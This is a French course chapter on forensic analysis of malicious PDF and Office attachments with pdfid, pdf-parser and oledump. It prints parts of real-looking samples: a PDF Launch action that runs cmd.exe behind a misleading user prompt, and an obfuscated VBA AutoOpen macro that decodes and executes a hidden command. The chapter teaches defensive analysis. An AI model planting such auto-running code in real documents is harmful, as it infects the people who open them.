• 20 heures
  • Difficile

Ce cours est visible gratuitement en ligne.

course.header.alt.is_video

course.header.alt.is_certifying

J'ai tout compris !

Mis à jour le 17/10/2023

Analysez un fichier malveillant

Après avoir analyser les emails nous avons récupérer des pièces jointes qui correspondent au vecteur d’infection. Dans ce chapitre nous allons à présent étudier comment analyser des fichiers malveillants. Nous nous concentrerons sur les fichiers PDF et Office précédemment découvert.

Analysez un fichier PDF

Comme discuté les fichiers PDF peuvent embarquer du code malveillant. Il représente un atout pour les attaquants car énormément d’utilisateurs ne se doute pas qu’un fichier PDF peut être malveillant.

Structure d’un fichier PDF

Le format PDF est un format de document portable qui peut être utilisé pour présenter des documents comprenant du texte, des images, des éléments multimédias, des liens de pages Web, etc. Il comporte un large éventail de fonctionnalités. Il existe près de 800 pages de documentation pour le seul format de fichier PDF.

Le format PDF a beaucoup plus de fonctions que juste du texte ; il peut inclure des images et d'autres éléments multimédias, il peut être protégé par un mot de passe, il peut exécuter du code JavaScript, etc.

PDF utilise le langage PostScript qui permet de structurer les données. Il peut emporter plusieurs objets.

  • Chaque objet commence par un numéro d'objet suivi d'un numéro de version commençant par la chaîne "obj" ;

  • À l'intérieur de l'objet, une série de balises décrit le contenu ou les références à d'autres objets ;

  • Chaque object se termine avec le retour chariot et la chaîne "endobj".

Chaque fichier PDF comporte la structure suivante :

  • Header : il s'agit de la première ligne d'un fichier PDF. Il spécifie le numéro de version de la spécification PDF utilisée par le document.

  • Body : le corps du document PDF contient des objets qui incluent généralement des flux de texte, des images, d’autres éléments multimédias, etc. La section Corps permet de stocker toutes les données du document présentées à l’utilisateur.

  • Table xref : Il s'agit de la table de références croisées, qui contient les références à tous les objets du document. Le but d’une table de références croisées est d’autoriser un accès aléatoire aux objets du fichier. Nous n’avons donc pas besoin de lire le document PDF en entier pour localiser cet objet. Chaque objet est représenté par une entrée dans la table de références croisées, qui a toujours une longueur de 20 octets.

Analyse d’un fichier PDF

Maintenant que nous en savons un peu plus sur le format PDF nous pouvons a présent analyser un fichier PDF un peu plus en détail. L'objectif va être d'y rechercher des caractéristiques suspectes, telles que du code Javascript caché dans le fichier, une technique souvent utilisée des attaquants.

Un des premiers outils que nous pouvons utiliser est PDFID qui nous permet d’obtenir des informations de statistiques sur le fichier analysé.

pdfid.py invoice.pdf
PDFiD 0.2.1 invoice.pdf
 PDF Header: %PDF-1.0
 obj 12
 endobj 12
 stream 2
 endstream 2
 xref 2
 trailer 2
 startxref 2
 /Page 2
 /Encrypt 0
 /ObjStm 0
 /JS 1
 /JavaScript 1
 /AA 1
 /OpenAction 1
 /AcroForm 0
 /JBIG2Decode 0
 /RichMedia 0
 /Launch 1
 /EmbeddedFile 0
 /XFA 0
 /Colors > 2^24 0

Ici nous pouvons voir des informations concernant le contenu du fichier, le nombre d’objets etc.. Par exemple nous voyons ici que le fichier PDF embarque du Javascript.

Il est également possible d’utiliser l’outil  pdf-parser pour parser le contenu du fichier PDF. 

$ pdfparser.py invoice.pdf
PDF Comment '%PDF-1.0\r
'

obj 1 0
 Type: /Catalog
 Referencing: 2 0 R

 <<
 /Pages 2 0 R
 /Type /Catalog
 >>

[...]

obj 10 0
 Type: /Action
 Referencing:


 <<
 /S /Launch
 /Type /Action
 /Win
 <<
 /F (cmd.exe)
 /D '(c:\\\\windows\\\\system32)'
 /P (
 /Q '/C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\\\template.pdf" (cd "Desktop"))&(if exist "My Documents\\\\template.pdf" (cd "My Documents"))&(if exist "Documents\\\\template.pdf" (cd "Documents"))&(if exist "Escritorio\\\\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\\\\template.pdf" (cd "Mis Documentos"))&(start template.pdf)
To view the encrypted content please tick the "Do not show this message again" box and press Open.)'
 >>
 >>

[...]

xref

trailer
 <<
 /Size 11
 /Prev 429
 /Root 10R
 /Info 00R
 >>

startxref 45930

PDF Comment '%%EOF\r
'

En regardant bien, nous voyons qu'une portion de code est exécutée dans l'objet 10 :

'/C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\\\template.pdf" (cd "Desktop"))&(if exist "My Documents\\\\template.pdf" (cd "My Documents"))&(if exist "Documents\\\\template.pdf" (cd "Documents"))&(if exist "Escritorio\\\\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\\\\template.pdf" (cd "Mis Documentos"))&(start template.pdf)
To view the encrypted content please tick the "Do not show this message again" box and press Open.)'

Cette portion est potentiellement malveillante et nécessitera de faire l'objet d'analyse approfondie puis d'être mis dans votre rapport final, c'est un indicateur de compromission !

Analyse d’un document Office

Tout comme les fichiers PDF, les fichiers Office sont également des fichiers intéressants pour les attaquants.

Structure d’un fichier Office

Les fichier office sont compressés comme des ZIPs. Le contenu peut être analysé sans modification en décompressant le fichier et en analysant le contenu de l'archive. La majorité des fichiers sont des fichiers XML lisibles par l'homme, mais dans certains cas, tels que les documents activés par macro, les archives peuvent également contenir des fichiers OLE (Object Linking and Embedding). Dans un document avec une macro un objet OLE nommé  vbaProject.bin  sera présent.

$unzipinvoice.docm
Archive:invoice.docm
inflating:[Content_Types].xml
inflating:_rels/.rels
inflating:word/_rels/document.xml.rels
inflating:word/document.xml
inflating:docProps/thumbnail.jpeg
inflating:word/theme/theme1.xml
inflating:word/settings.xml
inflating:word/stylesWithEffects.xml
inflating:customXml/itemProps1.xml
inflating:customXml/_rels/item1.xml.rels
inflating:word/styles.xml
inflating:customXml/item1.xml
inflating:docProps/core.xml
inflating:word/fontTable.xml
inflating:word/webSettings.xml
inflating:docProps/app.xml
inflating:word/vbaData.xml
inflating:word/_rels/vbaProject.bin.rels
inflating:word/vbaProject.bin

Analyse d’un document Office

Pour parser et analyser le contenu d’un fichier Office il est possible d’utiliser l’outil oledump disponible sur cette page Github.

$ oledump.py -h
Usage: oledump.py [options] [file]
Analyze OLE files (Compound Binary Files)

Options:
 --version show program's version number and exit
 -h, --help show this help message and exit
 -m, --man Print manual
 -s SELECT, --select=SELECT
 select item nr for dumping (a for all)
 -d, --dump perform dump
 -x, --hexdump perform hex dump
 -a, --asciidump perform ascii dump
 -A, --asciidumprle perform ascii dump with RLE
 -S, --strings perform strings dump
 -T, --headtail do head & tail
 -v, --vbadecompress VBA decompression
 --vbadecompressskipattributes
 VBA decompression, skipping initial attributes
 --vbadecompresscorrupt
 VBA decompression, display beginning if corrupted
 -r, --raw read raw file (use with options -v or -p
 -t TRANSLATE, --translate=TRANSLATE
 string translation, like utf16 or .decode("utf8")
 -e, --extract extract OLE embedded file
 -i, --info print extra info for selected item
 -p PLUGINS, --plugins=PLUGINS
 plugins to load (separate plugins with a comma , ;
 @file supported)
 --pluginoptions=PLUGINOPTIONS
 options for the plugin
 --plugindir=PLUGINDIR
 directory for the plugin
 -q, --quiet only print output from plugins
 -y YARA, --yara=YARA YARA rule-file, @file, directory or #rule to check
 streams (YARA search doesn't work with -s option)
 -D DECODERS, --decoders=DECODERS
 decoders to load (separate decoders with a comma , ;
 @file supported)
 --decoderoptions=DECODEROPTIONS
 options for the decoder
 --decoderdir=DECODERDIR
 directory for the decoder
 --yarastrings Print YARA strings
 -M, --metadata Print metadata
 -c, --calc Add extra calculated data to output, like hashes
 --decompress Search for compressed data in the stream and
 decompress it
 -V, --verbose verbose output with decoder errors
 -C CUT, --cut=CUT cut data
 -E EXTRA, --extra=EXTRA
 add extra info (environment variable: OLEDUMP_EXTRA)
 -j, --jsonoutput produce json output
 --password=PASSWORD The ZIP password to be used (default infected)

Pour afficher les éléments du fichier Word il suffit de passer en paramètre votre fichier.

$ Oledump.py invoice.docm
A: word/vbaProject.bin
A1: 385 'PROJECT'
A2: 71 'PROJECTwm'
A3: M 5871 'VBA/NewMacros'
A4: m 1073 'VBA/ThisDocument'
A5: 4400 'VBA/_VBA_PROJECT'
A6: 734 'VBA/dir'

Le “M” signifie qu’une macro est présente a cette endroit. Il est donc possible d’afficher le contenu de la macro avec la commande  oledump.py -s A3 -v invoice.docm  .

$ oledump.py -s A3 -v invoice.docm
Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long

Sub AutoOpen()
 On Error Resume Next
 Dim found_value As String

 For Each prop In ActiveDocument.BuiltInDocumentProperties
 If prop.Name = "Comments" Then
 found_value = Mid(prop.Value, 56)
 orig_val = Base64Decode(found_value)
 #If Mac Then
 ExecuteForOSX (orig_val)
 #Else
 ExecuteForWindows (orig_val)
 #End If

[...]

 pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
 Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
 Chr(CByte("&H" & Mid(nGroup, 5, 2)))

 sOut = sOut & Left(pOut, numDataBytes)
 Next

 Base64Decode = sOut
End Function

Ici nous voyons que des actions sont effectuées mais le code est obfusqué, c'est-a-dire qu'il est difficilement lisible et nécessitera d'autres analyse pour en comprendre son fonctionnement en détail. Il sera également possible d'exécuter ce fichiers Word dans une sandbox ou environnement controlé pour analyser dynamiquement le comportement du fichier.

Dans notre cas il s'agit de l'exécution de l'exécutable malveillant précédemment identifié.

En résumé

Dans cette partie nous venons d’étudier le fonctionnement des fichiers PDF et Office comme vecteurs d’infections. Nous avons également vu comment les analyser pour comprendre leur fonctionnement.

Ça y est ! La troisième étape de l'investigation forensic, l'étape d'analyse, est terminée ! Vous avez analysé les différents artefacts qui vous ont été donnés et vous avez identifié plusieurs indicateurs de compromission

Dans la prochaine partie, nous passerons à la synthèse de votre investigation en rédigeant le rapport d'investigation

Exemple de certificat de réussite
Exemple de certificat de réussite